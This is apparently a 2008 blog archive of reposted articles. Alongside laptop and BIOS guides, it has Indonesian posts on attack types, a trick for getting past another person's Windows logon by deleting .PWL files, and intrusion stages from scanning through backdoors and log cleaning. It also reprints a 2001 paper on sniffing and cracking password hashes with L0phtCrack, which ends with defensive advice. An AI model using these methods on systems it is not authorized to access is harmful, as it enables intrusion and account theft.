Salafi & IT

June 16, 2008

laptop repair

Filed under: laptop — midnightriders @ 4:03 pm

Extending Laptop Battery Life - Operating A Notebook On Battery Power

Extending Laptop Battery Life - Operating A Notebook On Battery Power

Copyright 2008 by Morris Rosenthal -All Rights Reserved

Laptop Repair
Ebook ($13.95)

Laptop Repair

Copyright 2008 by Morris Rosenthal

All Rights Reserved

The graphic to the right shows the power profiles that came standard with
my latest Toshiba notebook. Note: New flowchart for
troubleshooting battery charging problems just
posted . When I bought my first brand new laptop back in 2000, I took it
out of the box and turned it on in the store (I think it was Circuit City)
to make sure everything was all right. It ran for about 30 seconds, the low
battery warning came on and it died. Either they’d shipped the laptop with
a dead battery or it had sat in the warehouse so long (I was buying a closeout
with rebates) that it had drained itself. I read all information in the user’s
manual about getting the longest life out of the batteries, in terms of both
hours of cord free use and in terms of recharge cycles. The recommended approach
back then (early NiMH technology) was to always run the the batteries down
and always fully recharge, which neither practical or convenient. I think
they got the idea from battery operated tools for hospital operating rooms.
The bottom line is, that battery was never good for more than an hour and
a half, and within a couple months, I was luck to get a half hour out of
it. Eventually it stabilized at around 20 minutes of operating life on a
full charge. I was left wondering if my initial test in the store had “trained”
the battery pack to fail quickly. For the first time in my life, I used my
“influence” as a popular computer book author to get Toshiba to send me a
new battery free of charge. The second battery also never lasted more than
an hour and a half, and it wasn’t long before it wouldn’t hold a charge for
even 20 minutes! That particular model, like many other older notebooks,
simply had crummy battery life.
But whether your laptop runs three or four hours on a full charge with no
extra messing around, or whether it dies in less than an hour, there are
ways of extending the battery life through software settings. This notebook
came equipped with a number of profiles optimized for different tasks. These
are shown above, and for the main part, they are designed for the computing
task, rather than for the extending the battery life to the maximum. In other
words, they assume that you want DVD playback to proceed without any stumbles,
and that you’d never want your hard drive to spin down or video output to
wink off during a presentation. In none of the profiles to they drop the
CPU processing speed (see graphic to the left) below the halfway point, 3
on a scale of 1 to 5. The settings they are most willing to sacrifice are
the LCD brightness and the cooling method. Lower LCD brightness certainly
extends battery life a little but it’s so easy to manually adjust the LCD
brightness from the keyboard that I don’t worry about getting it right in
the profiles. In fact, when I use my notebook outside during the day, I usually
find I have to run the LCD brightness up to the maximum (tapping Fn-F7 a
few times) just to see.
The real value, or nuisance value, of the factory set battery life profiles
are the automatic shutdowns, In the aggressive battery saver modes, the hard
drive spins down every time it’s not accessed for a minute or two, and the
LCD winks out if you don’t hit a key or move the mouse every minute. While
the LCD coming on and off can be annoying, it probably doesn’t waste extra
power, but I believe that frequently spinning the hard drive up and down
rather than just keeping it going can waste more power than it saves. Likewise,
hibernate and standby can help conserve battery life if you’re going to remain
in that mode for a while, but going into hibernation every five minutes and
having to wake up again is probably a wash, because hibernate is actually
doing work saving an image of your desktop and then shutting down the power.
When you power up again, the system is doing a lot of work to restore your

desktop, as opposed to preserving it in a low power state. Standby does just
that, extending battery life by preserving everything in memory but shutting
down all of the user interfaces. A laptop might be able to preserve it’s
current state on standby for a day or two on a full charge, but it’s really
for moving from the cafe back home, or between your office and a meeting.

Laptop Repair | Laptop Power
Flowchart
| LCD Problem Flowchart |
Laptop Battery Charging |
Troubleshooting Laptop Overheating |
Wireless Internet Connections |
Laptop Hard Drive Failure |
Extending Laptop Battery Life |
Buying a Second Hand Laptop |
Upgrading a Notebook | Laptop
Troubleshooting
| Build a Laptop

Bios2

Filed under: bios — midnightriders @ 4:01 pm

1. What is a (Flash) BIOS ?

Pronounced “bye-ose,” BIOS is an acronym for basic input/output system. The BIOS is built-in software that determines what a computer can do without accessing programs from a disk. On PCs, the BIOS contains all the code required to control the keyboard, display screen, disk drives, serial communications, and a number of miscellaneous functions.

The BIOS is typically placed on a ROM chip that comes with the computer (it is often called a ROM BIOS). This ensures that the BIOS will always be available and will not be damaged by disk failures. It also makes it possible for a computer to boot itself.

Because RAM is faster than ROM, many computer manufacturers design systems so that the BIOS is copied from ROM to RAM each time the computer is booted. This is known as shadowing, and should be disabled in the BIOS setup before flashing.

Most modern PCs have a flash BIOS, which means that the BIOS has been recorded on a rewriteable memory chip, which can be updated if necessary.

The PC BIOS is standardized, so all PCs are alike at this level (although there are different BIOS versions). Additional DOS functions are usually added through software modules. This means you can upgrade to a newer version of DOS without changing the BIOS.

PC BIOSes that can handle Plug-and-Play (PnP) devices are known as PnP BIOSes, or PnP-aware BIOSes. These BIOSes are always implemented with flash memory rather than ROM.

2. How do you determine if your system has a Flash Bios chip ?

Take the cover of the computer and look inside. Peel the sticker of the BIOS chip (28 or 32-pin DIP IC with the BIOS brand sticker on it). (source: c’t 2/97/110)

  • Am29F010: AMD 5 volt flash ROM
  • Am28F010, Am28F010A: AMD 12 volt flash ROM
  • AT28C010, AT28MC010, AT29C010, AT29LC010, AT29MC010: Atmel 5 volt flash ROM
  • CAT28F010V5, CAT28F010V5I: Catalyst 5 volt flash ROM
  • CAT28F010, CAT28F010I: Catalyst 12 volt flash ROM
  • 28F010: Fujitsu 12 volt flash ROM or ISSI 12 volt flash ROM
  • HN58C1000: Hitachi 5 volt flash ROM
  • HN28F101, HN29C010, HN29C010B, HN58C1001, HN58V1001: Hitachi 12 volt flash ROM
  • A28F010, 28F001BX-B, 28F001BX-T, 28F010: Intel 12 volt flash ROM
  • M5M28F101FP, M5M28F101P, M5M28F101RV, M5M28F101VP: Mitsubishi 12 volt flash ROM
  • MX28F1000: MXIC 12 volt flash ROM
  • MSM28F101: OKI 12 volt flash ROM
  • KM29C010: Samsung 5 volt flash ROM
  • DQ28C010, DYM28C010, DQM28C010A: SEEQ 5 volt flash ROM
  • DQ47F010, DQ48F010: SEEQ 12 volt flash ROM
  • M28F010, M28F1001: SGS-Thomson 12 volt flash ROM
  • 28EE011, 29EE010: SST 5 volt flash ROM
  • PH29EE010: SST ROM Chip - Flashable
  • TMS29F010: Texas-Instr. 5 volt flash ROM
  • TMS28F010: Texas-Instr. 12 volt flash ROM
  • W29EE011: Winbond 5 volt flash ROM
  • W27F010: Winbond 12 volt flash ROM
  • X28C010, X28C010I, XM28C010, XM28C010I: XICOR 5 volt flash ROM
  • 29LVxxx - 3V Flash memory (rare)
  • 28Cxxx - EEPROM, similar to Flash memory
  • 27Cxxx - With window. EPROM: read-only, requires programmer to write and UV to erase.

Anything without a Window that doesn’t have a 28 or 29 as the preceding numbers of the part #, is most likely a standard ROM.

3. Do you really need a (Flash) BIOS upgrade ?

OS Support - It’s possible that Windows 95 isn’t configured 100% correctly on a computer with an outdated BIOS.  To let Windows 95 fully support Plug ‘n Play you also need a PnP-BIOS. This is a very important reason to update your BIOS.

Large HDD support - All harddisks that are sold today are more then 528 megabyte. To support these harddisks the BIOS must have LBA (Logical Block Addressing) support. When your BIOS doesn’t support LBA and you want to use your new harddisk at full capacity you have to use software drivers that trick the BIOS. With some of these software drivers Windows 95 will load your HD in compatibility mode which means a performance loss.

A third important reason to upgrade your BIOS is to solve bugs. Other reasons are e.g. new settings in your BIOS: Booting from CD-ROM, Boot from SCSI before IDE harddisks,…

There is no guarantee a new BIOS will solve your problems, and flashing can be risky.

4. Where can I download Flash BIOSs ?

Well, start looking at my page. If your motherboard manufacturer isn’t listed on the BIOS Upgrades page then there is big chance they don’t have a web site, or are out of business.  Post in our BBS and if it exists, someone will find it for you. (But do your own web search before you post, and let us know what you find out.)

If that fails, contact us and we’ll add your description to the Wanted BIOS page. If you know of any Flash BIOSs not listed on my Flash BIOS page, please let me know.

If you found your Flash BIOS stored on this site, you should first check the Flash BIOS page from the motherboard manufacturer to see if there are any updates. (I can’t check all the sites of motherboard manufacturers daily to see if there are any updates.)

5. What if you don’t know the name of your motherboard ?

The part number of each Award & AMI BIOS usually contains information identifying the chipset it supports, and the manufacturer. This information appears at the bottom of your screen after power on, during memory count up.

Copy down your BIOS id string EXACTLY when it appears on your screen. Better yet, dump it to the printer (Print screen key). The PAUSE key should work at that point, allowing you to read the part number, the BIOS date, and the version.

Unfortunately, in some cases, the manufacturer removes that information. Then your only recourse is to contact the board manufacturer.

Check either the Award or AMI BIOS Numbers page and search for your BIOS number. Partial searches work best, ie: 2A5LDH09C.

If you can’t find it, post a question in our BBS. Before you post, run CTBios 1.5 (written by CT), and put the results in your post. Make sure the full BIOS id string is included. If you have an AMI BIOS you can also try the AMIBIOS Motherboard ID Utility (written by AMI)

If you have an Award BIOS, you can also email AWARD at award888@ms1.hinet.net or support@unicore.com and give them a) version, b) part number and c) release date.

6. How do you flash your BIOS ?

  1. To flash your BIOS you’ll need a) a flasher, and b) a data-file. The flasher programs the data-file into the BIOS chip.
  2. Boot to the DOS prompt, either using a CLEAN boot disk or Safe Mode DOS Prompt.
  3. Type the following at the DOS prompt, where xxx is the name of the BIOS file you downloaded:

awdflash xxx.bin (for Award BIOSs) / amiflash xxx.rom (for AMI BIOSs) / mrflash xxx.bin (for MRBIOSs)

Notes:

  • Most flashers will ask you to save the current BIOS. Choose Yes, so that you can always flash back to the original version if you’re having problems with the new one.
  • Some manufacturers may use their own utilities to upgrade the BIOS (mostly non-clones)
  • Disable the System BIOS Cacheable option in the BIOS before flashing.
  • Do NOT flash under Windows or any OS other than plain DOS.
  • By using the switch /? (eg. awdflash /?) the flasher will display all available switches.

7. What to do when the Award flasher says: Insufficient memory

  1. In CMOS Chipset Features Setup, disable every form of caching and shadowing you can find, ie: Video Bios Cacheable. Save and exit.
  2. Reboot and hit Ctrl+F5,when you see “Windows Starting” (This temporarily prevents Drvspace.bin from loading-making 108K more Memory available.)
  3. Award 7.x flashers now have a switch /tiny . If you use that switch (eg. awd7xx /tiny newbios.bin) the Award flasher will need less free memory.

Bios

Filed under: bios — midnightriders @ 4:00 pm

BiosCentral - BIOS Services


Home · 
Forums · 
About Us · 
Awards · 
Contact Us

BIOS PostCodes:

Intel Motherboards:
T440BX
VC820

 

The following is a list of
the standard BIOS interrupts used in a typical BIOS.

 

Interrupt

Address

Type

Description

00h 0000:0000h Processor Divide by zero
01h 0000:0004h Processor Single step
02h 0000:0008h Processor Non maskable interrupt
(NMI)
03h 0000:000Ch Processor Breakpoint
04h 0000:0010h Processor Arithmetic overflow
05h 0000:0014h Software Print screen
06h 0000:0018h Processor Invalid op code
07h 0000:001Ch Processor Coprocessor not available
08h 0000:0020h Hardware System timer service
routine
09h 0000:0024h Hardware Keyboard device service
routine
0Ah 0000:0028h Hardware Cascade from 2nd programmable
interrupt controller
0Bh 0000:002Ch Hardware Serial port service -
COM post 2
0Ch 0000:0030h Hardware Serial port service -
COM port 1
0Dh 0000:0034h Hardware Parallel printer service
- LPT 2
0Eh 0000:0038h Hardware Floppy disk service
0Fh 0000:003Ch Hardware Parallel printer service
- LPT 1
10h 0000:0040h Software Video service routine
11h 0000:0044h Software Equipment list service
routine
12h 0000:0048H Software Memory size service routine
13h 0000:004Ch Software Hard disk drive service
14h 0000:0050h Software Serial communications
service routines
15h 0000:0054h Software System services support
routines
16h 0000:0058h Software Keyboard support service
routines
17h 0000:005Ch Software Parallel printer support
services
18h 0000:0060h Software Load and run ROM BASIC
19h 0000:0064h Software DOS loading routine
1Ah 0000:0068h Software Real time clock service
routines
1Bh 0000:006Ch Software CRTL - BREAK service
routines
1Ch 0000:0070h Software User timer service routine
1Dh 00000074h Software Video control parameter
table
1Eh 0000:0078h Software Floppy disk parameter
routine
1Fh 0000:007Ch Software Video graphics character
routine
20h-3Fh 0000:0080f - 0000:00FCh SOftware DOS interrupt points
40h 0000:0100h Software Floppy disk revector
routine
41h 0000:0104h Software hard disk drive C: parameter
table
42h 0000:0108h Software EGA default video driver
43h 0000:010Ch Software Video graphics characters
44h 0000:0110h Software Novel Netware API
45h 0000:0114h Software Not used
46h 0000:0118h Software Hard disk drive D: parameter
table
47h 0000:011Ch - Software Not used
48h   Software Not used
49h 0000:0124h Software Not used
4Ah 0000:0128h Software User alarm
4Bh-63h 0000:012Ch - Software Not used
64h   Software Novel Netware IPX
65h-66h   Software Not used
67h   Software EMS support routines
68h-6Fh 0000:01BCh Software Not used
70h 0000:01c0h Hardware Real time clock
71h 0000:01C4h Hardware Redirect interrupt cascade
72h-74h 0000:01C8h - 0000:01D0h Hardware Reserved - Do not use
75h 0000:01D4h Hardware Math coprocessor exception
76h 0000:01D8h Hardware Hard disk support
77h 0000:01DCh Hardware Suspend request
78h-79h 0000:01E0h - Hardware Not used
7Ah   Software Novell Netware API
78h-FFh 0000:03FCh Software Not used

BIOS
Beep Codes:

System
Specific Diagnostic and POST Error Messages:

BIOS
Related Pages:

My
Other Pages:

Best viewed at 1024×768x16

 

 

mengenal jenis serangan hackers

Filed under: islamic — midnightriders @ 3:57 pm

Mengenal Jenis Serangan

Dalam dunia hacking (tepatnya cracking ding!?) dikenal beberapa
jenis serangan terhadap
server. Berikut ini jenis-jenis serangan dasar yang dapat
dikelompokkan dalam minimal 6
kelas, yaitu:

Intrusion
———
Pada jenis serangan ini seorang cracker (umumnya sudah level
hacker) akan dapat
menggunakan sistem komputer server. Serangan ini lebih terfokus
pada full access granted
dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan
oleh para hacker untuk
menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa
tahap dan tidak dalam
skema kerja spesifik pada setiap serangannya (dijelaskan pada
artikel lain).
Hacking is an Art!? =)

Denial of Services (DoS)
————————
Penyerangan pada jenis DoS mengakibatkan layanan server mengalami
stuck karena kebanjiran
request oleh mesin penyerang. Pada contoh kasus Distributed Denial
of Services (DDoS)
misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang
akan melakukan packeting
request pada server secara serentak asimetris dan simultan
sehingga buffer server akan
kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan
server lagi namanya!?
(servicenya mati masak dibilang server? hehehe….)

Joyrider
——–
Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-


novel hacking dan gak bisa
belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu
instan super cepat
(istilahnya ‘onani’ dimesin orang). Atau dengan alasan pengen tau
isinya mesin orang!? =).
Yang jelas serangan jenis ini rata-rata karena rasa ingin tau,
tapi ada juga yang sampe
menyebabkan kerusakan atau kehilangan data.

Vandal
——
Jenis serangan spesialis pengrusak!? nothing else to explain
mbah!? =)

Scorekeeper
———–
Serangan yang bertujuan mencapai reputasi hasil cracking
terbanyak. Biasanya hanya
berbentuk deface halaman web (index/nambah halaman) dengan
memampangakan NickName dan
kelompok tertentu. Sebagian besar masih tidak perduli dengan isi
mesin sasarannya =).
Saat ini jenis penyerang ini lebih dikenal dengan sebutan
WannaBe/Script kiddies.

Spy

Tiga hurup saja. Jenis serangan untuk memperoleh data atau
informasi rahasia dari mesin
target. Biasanya menyerang pada mesin-mesin dengan aplikasi
database didalamnya. Kadang
kala suatu perusahaan menyewa ‘mata-mata’ untuk mencuri data
perusahaan rivalnya!? Mau
coba Pak? =)


crack log on windows

Filed under: Hacking — midnightriders @ 3:56 pm

Crack Password LOGON Windows

Anda pernah lupa password masuk windows anda, atau anda ingin menembus masuk ke komputer orang lain tapi tidak tahu password logonnya?
Di bawah ini ada trik yang bisa anda gunakan.

1. Anda cukup tekan tombol Esc yang ada di pojok kiri keyboard anda.

2. Windows akan masuk ke dalam tampilan defaultnya.

3. Nah sekarang anda jalankan Explorer, masuk direktori C:/windows.

4. Cari file yang berakhiran .PWL dengan nama logon (user name anda/komputer tersebut).Misalnya ,jika nama logon anda Happy Face,maka cari file Happy Face.pwl.

5. Hapus file tersebut.

6. Setelah itu klik tombol SHUTDOWN, dan kemudian klik pilihan “close all program anda log on as another user”.

7. Dan ketika muncul layar password, ketikkan nama LOGON yang sama (Happy Face), dan masukkan password anda yang baru.

proses hacking

Filed under: Hacking — midnightriders @ 3:55 pm

Proses Hacking

function SetDomain(d) { document.domain = d; } Untuk memberi gambaran keseluruhan proses hacking, di bawah ini adalah langkah-langkah logis proses hacking

Dalam prakteknya, tidak harus sepenuhnya melalui proses seperti ini. Dengan menggunakan NetBIOS scanner seperti Legion, misalnya, langsung masuk ke proses Enumeration dan Gaining Access dengan password cracking.

1. Footprinting.
Mencari rincian informasi terhadap sistem-sistem untuk dijadikan sasaran, mencakup pencarian informasi dengan search engine, whois, dan DNS zone transfer.

2. Scanning.
Terhadap sasaran tertentu dicari pintu masuk yang paling mungkin. Digunakan ping sweep dan port scan.

3. Enumeration.
Telaah intensif terhadap sasaran, yang mencari user account absah, network resource and share, dan aplikasi untuk mendapatkan mana yang proteksinya lemah.

4. Gaining Access.
Mendapatkan data lebih banyak lagi untuk mulai mencoba mengakses sasaran. Meliputi mengintip dan merampas password, menebak password, serta melakukan buffer overflow.

5. Escalating Privilege.
Bila baru mendapatkan user password di tahap sebelumnya, di tahap ini diusahakan mendapat privilese admin jaringan dengan password cracking atau exploit sejenis getadmin, sechole, atau lc_messages.

6. Pilfering.
Proses pengumpulan informasi dimulai lagi untuk mengidentifikasi mekanisme untuk mendapatkan akses ke trusted system. Mencakup evaluasi trust dan pencarian cleartext password di registry, config file, dan user data.

7. Covering Tracks.
Begitu kontrol penuh terhadap sistem diperoleh, maka menutup jejak menjadi prioritas. Meliputi membersihkan network log dan penggunaan hide tool seperti macam-macam rootkit dan file streaming.

8. Creating Backdoors.
Pintu belakang diciptakan pada berbagai bagian dari sistem untuk memudahkan masuk kembali ke sistem ini dengan cara membentuk user account palsu, menjadwalkan batch job, mengubah startup file, menanamkan servis pengendali jarak jauh serta monitoring tool, dan menggantikan aplikasi dengan trojan.

9. Denial of Service.
Bila semua usaha di atas gagal, penyerang dapat melumpuhkan sasaran sebagai usaha terakhir. Meliputi SYN flood, teknik-teknik ICMP, Supernuke, land/latierra, teardrop, bonk, newtear, trincoo, smurf, dan lain-lain.

Password Cracking with L0phtCrack 3.0

Filed under: Hacking — midnightriders @ 3:55 pm

Password Cracking with L0phtCrack 3.0
Patrick Boismenu
June 19, 2001

Introduction

This paper was designed to describe how most password crackers operate. In today’s world of security, password security is one of the priorities for all authentication-based protected systems.

There are many types of security that can be introduced in a system and one could not possibly describe them all at once but the authentication process is based on one or a combination of these three facts criteria:

  • Something you know.
  • Something you are.
  • Something you have.

For the sake of this paper, only the first fact will be touched. There are many other places on the Internet that describes in great detail the two others here is a few links where you can start regarding those two:

http://www.retina-scan.com/

http://www.sans.org/infosecFAQ/authentic/fingerprint.htm

http://www.hillschmidt.de/gbr/twotoken-0008.html

Now let’s start cracking the material…

What exactly is a password cracker?

A password cracker is virtually any program that can decrypt passwords or can disable password protection. Most password cracker use a technique referred to as comparative analysis in order to crack the encrypted passwords. This technique that will be described in details later rely on one big factor, human laziness. Users tend to ignore the need for strong passwords. However, the blame is not entirely pointing to the users:

Users are rarely, if ever, educated as to what are wise choices for passwords. If a password is in the dictionary, it is extremely vulnerable to being cracked, and users are simply not coached as to “safe” choices for passwords. Of those users who are so educated, many think that simply because their passwords is not in /usr/dict/words, it is safe from detection. Many users also say that because they do not have private files online, they are not concerned with the security of their account, little realizing that by providing an entry point to the system they allow damage to be wrought on their entire system by a malicious cracker.

Daniel V. Klein, A survey of, and improvements to, Password Security,
Software Engineering Institute, Carnegie Mellon University, Pennsylvania.

This problem often shows the weakest link theory within an organization. Password Security education would usually require minimal resources but even thought this is a critical security issue it is simply overlooked.

…exploiting ill-chosen and poorly protected passwords is one of the most common attacks on system security used by crackers. Almost every multi-user system users passwords to protect against unauthorized logons, but comparatively few installations use them properly. The problem is universal in nature, not system-specific; and the solutions are simple, inexpensive, and applicable to any computer, regardless of operating system or hardware. They can be understood by anyone, and it doesn’t take an administrator or a systems programmer to implement them.

K. Coady. Understanding Password Security for Users on and offline.
New England Telecommuting Newsletter, 1991.

The weak password phenomenon isn’t a myth or something that disappeared ten years ago; it is ever present in the wide majority of systems and is currently viewed as one of the most critical threats to Internet Security:

8. User Ids, especially root/administrator with no passwords or weak passwords.

Some systems come with “demo” or “guest” accounts with no passwords or with widely known default passwords. Service workers often leave maintenance accounts with no passwords, and some database management systems install administration accounts with default passwords. In addition, busy system administrators often select system passwords that are easily guessable (”love,” “money,” “wizard” are common) or just use a blank password. Default passwords provide effortless access for attackers. Many attackers try default passwords and then try to guess passwords before resorting to more sophisticated methods. Compromised user accounts get the attackers inside the firewall and inside the target machine. Once inside, most attackers can use widely accessible exploits to gain root or administrator access.

Systems Affected:
All systems.

SANS Institute Resources,
How to Eliminate the Ten Most Critical Internet Security Threats.
The Experts Consensus v1.32 January 18,2001

Is it well protected by the operating system?

First you have a password generator, which will create an encrypted form of the password you have entered. Most password generators will use some form of cryptography.

There is a multitude of great sites on the net that describes in great details what cryptography is, here is a simple definition that sums it all up for us:

Cryptography is defined as “the science and study of secret writing”, concerns the ways in which communications and data can be encoded to prevent disclosure of their contents through eavesdropping or message interception, using codes, ciphers, and other methods, so that only certain people can see the real message.

Yaman Akdeniz, Cryptography & Encryption August 1996,
Cyber-Rights & Cyber-Liberties (UK)
(Criminal Justice Studies of the Law Faculty of University of Leeds, Leeds LS2 9JT)

There are two kinds of cryptosystems: symmetric and asymmetric. Symmetric cryptosystems use the same key (the secret key) to encrypt and decrypt a message (Windows authentication), and asymmetric cryptosystems use one key (the public key) to encrypt a message and a different key (the private key) to decrypt it. Asymmetric cryptosystems are also called public key cryptosystems (PGP).

Let us take the example of the Data Encryption Standard (DES) algorithm and see how it works:

Your password is taken in plain text first. Sadly, for our example we will use one of the most popular password out there: password

The password is then used as the key to encrypt a series of zeros (64 in all), the result, which is encoded, is then referred to as cyphertext, which is the encrypted version of the plain text password. On our test Windows 2000 computer, the plain text password mentioned above will become 8846F7EAEE8FB117AD06BDD830B7586C using NTLM authentication.

Basically it encodes it one-way which makes it part of the symmetric cryptosystem. What is interesting regarding this example is that while this operation seems simple by itself it is computationally complex and resource consuming to decode this form of encryption. Here is a few numbers that will help you understand the basis of this cryptosystem:

The cryptographic algorithm [DES] transforms a 64-bit binary value into a unique 64-bit binary value based on a 56-bit variable. If the complete 64-bit input is used (i.e., none of the input bits should be predetermined from block to block) and if the 56-bit variable is randomly chosen, no technique other than trying all possible keys using known input and output for the DES will guarantee finding the chosen key. As there are over 70,000,000,000,000,000 (seventy quadrillion) possible keys of 56-bits, the feasibility of deriving a particular key in this way is extremely unlikely in typical threat environments.

NIST, December 30, 1993. “Data Encryption Standard (DES),”
Federal Information Processing Standards Publication 46-2.

Now, seventy quadrillion keys may look like a big number and it seems impossible to crack. This statement is partly right; although it is virtually impossible to crack, nothing stops us from comparing similar values.

How does the password cracker actually cracks?

The comparative analysis referred to earlier is a technique that solves almost all our problems when it comes to cracking passwords. Since the key is one-way encoded, the fastest and easiest way to crack down this key is by encoding the same word and comparing the hash referred to as 8846F7EAEE8FB117AD06BDD830B7586C in our previous example.

Here is how it all comes down to:

Get a dictionary file, which contains a huge list of words, from a site that has them:

ftp://ftp.cerias.purdue.edu/pub/dict/

These words will be fed through the program used to crack a specific password type.

The resulting hash will be compared with the one being attacked. If they match you have 90% chance of success. If they don’t the next word is fed through the program and it starts again until it comes to the end of the wordlist or it cracked all passwords.

L0phtCrack 3.0: Crack ‘em up!

This program is one of those that uses a comparative analysis attack on a pre-identified hash value. There were many versions of LC, the latest and most impressive is v3.01. This version brings us many enhancements over the previous versions, here is a brief description of those new tools as described at @Stake’s website:

http://www.atstake.com/research/lc3/whatsnew.html

Support for Windows 2000

LC3 now runs cleanly on Windows 2000. It can extract unencrypted password hashes from systems that use Microsoft’s SYSKEY protection, and it uses an updated packet sniffer that supports most Windows 2000 systems.

Distributed Cracking

LC3 lets an administrator speed up a time-consuming password audit by breaking it into parts that can be run simultaneously on multiple machines.

Hide Cracked Passwords

LC3 gives administrators the option to know whether or not a password was cracked without knowing the password itself.

Audit Time

Password auditors get a quantitative comparison of password strength from LC3’s report on the time required to crack each password.

Wizard

LC3 offers a Wizard to help new password auditors configure and run their first audits quickly and easily.

Export

It’s easier than ever to manipulate the results of a password audit by exporting results to a tab-delimited file.

Improved Product Support

Registered LC3 users get email support with one business day response time.

New Dictionary

LC3 now includes an optional 250,000 word English dictionary for comprehensive English dictionary audits.

Improved Password Management

LC3 lets users import passwords from multiple machines, and easily delete those they don’t want to audit, directly in the LC3 window.

Let’s demonstrate the power of this tool. We will simulate a situation where a password is cracked without the knowledge of the user or the administrators of the system.

First let us download the tool which is widely spread on the net, I would recommended their own website to avoid altered versions of the software (a PGP Signature of the software is also available at the under mentioned location):

http://www.atstake.com/research/lc3/download.html

Once the software is downloaded and installed let’s execute it.

This software is a trial version and can be registered directly with @Stake. After reading the following pages most of you will be running to register a copy.

Once inside the program, a wizard will guide you through the different functions that can be accomplished using this program. The menu enables us to retrieve passwords from the following locations:

1- Local Machine stored passwords. Admin Access Required.

2- Remote Machine stored passwords. Admin Access Required.

3- Emergency Repair Disk from NT4.0. (These disks are more often than not stored in a place where security isn’t a priority, therefore leaving anyone to grab it and crack the file)

4- Sniffing the Local Network.

For our example we will be sniffing the local network, which will enable us to catch password hashes as there are authenticated between machines and all this without Administrator Access. In fact authentication is not even required, the only requirement is that you have Admin right on the local computer you are running LC3 from. This type of sniffing can be accomplished easily with the use of a Hub. If the network is using a switch, then other programs can be used to trick the switch (Cache Poisoning), which will enable the user to catch the passwords that are transited through it.

After that comes the type of attack that will be used against the hashed password if we are successful in catching one. There are three types and a custom option mentioned here.

The first type is a quick password audit, which will basically check for words, which are stored in a dictionary file. As seen previously, LC3 comes with a dictionary of 250,000 words. But there are dictionaries out there which have a much more impressive number attached to them.

The second type is a common password audit, which is also referred to as Hybrid attack. It will check for common dictionary words used in passwords but will also add modifications to the words. Like Internet may become internet99 or 9internet9.

The third type is the strong password audit. This type will virtually test the two previous types and if they fail it will start a Brute Force attack. This type of attack is using all combinations of a set of characters. In our alphabet we have 26 letters and 10 digits.

A to Z and 0 to 9. There are also the special characters !@#$%^&*()_-+={}[]|\~`<>,.?/:;

The brute force attack will use all the possible combination for those characters, first starting with 1 characters password and then when it’s all done going for 2 characters passwords. This type of attack is the ultimate attack and it may take a long time to complete depending on the complexity of the password. But as we have seen earlier in this paper, complexity is often overlooked. Ultimately if you let the Brute Force attack go on until the end, it should result in the password being cracked.

Finally, the custom options lets you specify different cracking attributes. Like different dictionary, or different character set.

Of course all those types of passwords attacks are all done through comparative analysis. For this example the Strong Password Audit will be chosen.

The next step will let you pick how LC3 should report to you what it will be doing.

You can specify whether or not you want the actual password to be listed to you or not. This option is great for Administrators that want to audit their user’s password complexity without revealing the password itself.

You can also display or not the password hash.

You can have LC3 tell you how long it took to crack it. Very good for Administrators again if they want to show their user that it took them 2 minutes to crack their uncrackable password.

And you can request a visible notification when the auditing is finished.

The configuration of the audit is now completed; the next step is to choose the network adapter that will be used to sniff the network.

Once that step is completed. Just click on START SNIFFING and wait for someone to authenticate on the network. In heavy traffic network you should see someone come up fairly fast.

We now see a user called BOB incoming from IP address 192.168.4.153 trying to connect to a computer at IP 192.168.4.154, which for our example will be referred as EVE’s box.

BOB may have tried to access something he was not supposed to, or maybe he was, in any scenario it does not matter, windows automatically passed on the credentials in which BOB is logged on to. In case those credentials would fail, EVE would probably tell BOB to specify a different username and password or just drop the connection. Either way, the password was caught traveling along the wire and it can now be attacked. You can sniff the network for as long as you want and catch as many passwords as you want. If BOB would authenticate to EVE’s box again, another line would add itself with the same BOB credentials.

Once we captured the password we wanted to audit, we will click on STOP SNIFFING and then we can click on IMPORT, once that is done the password cracking should automatically start.

Note that the brute force attack is only available in the registered version of this software.

Let us see how long BOB’s password can last with this program.

The password is currently being attacked with the dictionary that comes with LC3. Like seen earlier, it will go through every word and encrypt it using LM Hash encryption then will compare that value with the one seen above using the same challenge that was issued by EVE’s box when authenticating to it.

Yes, it took a long 2 seconds before LC3 cracked the very secure password of BOB, which is shown in the previous slide under LM Password: PASSWORD

Now, the door is slightly opened and you have your foot inside the door. What if it was an administrator account?

You can easily see the power of this tool and how easy it is to comprehend and put in to action.

Conclusion

Should I just unplug all network equipment and go home?

No, fortunately there are defenses against password crackers. Here are a few of those defenses, which are enumerated by SANS in their GCIH track.

Establish a good password policy. Very important as discussed before, this is the first line of defense. Make it a very good one.

Guard the password file. Don’t let that emergency repair disk lying around. Would you buy a steel door in front of your house and let your window wide opened besides it?

Disable LAN Manager Authentication. Please use NTLMv2, LANMAN authentication is very weak and easy to break, NTLMv2 is much, much stronger.

Use other forms of authentication. Remember the introduction when I mentioned there were 3 types of authentication, what you are, what you know and what you have. Implement at least two of those. It greatly enhances your security.

Finally, educate your users. Make them understand that any network is as secured as its weakest link.

Password cracking programs are growing in numbers and there are many discussions pertaining to their legality. Password cracker can be used as a valuable resource for any system administrator in order to alert them of weak passwords within the organization. The problem is not their existence; it is the lack of usage from system administrators.

Hope fully this paper will have enlightened the fact that you should enhance the security within your organizations. Especially regarding password security, the FIRST and, unfortunately sometimes, the LAST line of defense.

Resources

Sams.net - Maximum Security, Second Edition, Chapter 10
Macmillan Computer Publishing USA
VIACOM

Daniel V. Klein, A survey of, and improvements to, Password Security,
Software Engineering Institute, Carnegie Mellon University, Pennsylvania.

K. Coady. Understanding Password Security for Users on and offline.
New England Telecommuting Newsletter, 1991.

SANS Institute Resources,
How to Eliminate the Ten Most Critical Internet Security Threats.

The Experts Consensus v1.32 January 18,2001
http://www.sans.org/topten.htm

Yaman Akdeniz, Cryptography & Encryption August 1996,
Cyber-Rights & Cyber-Liberties
(Criminal Justice Studies of the Law Faculty of University of Leeds, Leeds LS2 9JT)

NIST, December 30, 1993. “Data Encryption Standard (DES),”
Federal Information Processing Standards Publication 46-2.

@Stake L0phtcrack v3.01 Web Site and Documentation
http://www.atstake.com

CNET News.com
A new Windows password cracker
By Ben Heskett
Staff Writer, CNET News.com
http://news.cnet.com/news/0-1003-200-326537.html

< Back to Top Papers
(clicking the category links below will prompt a sign-in page)

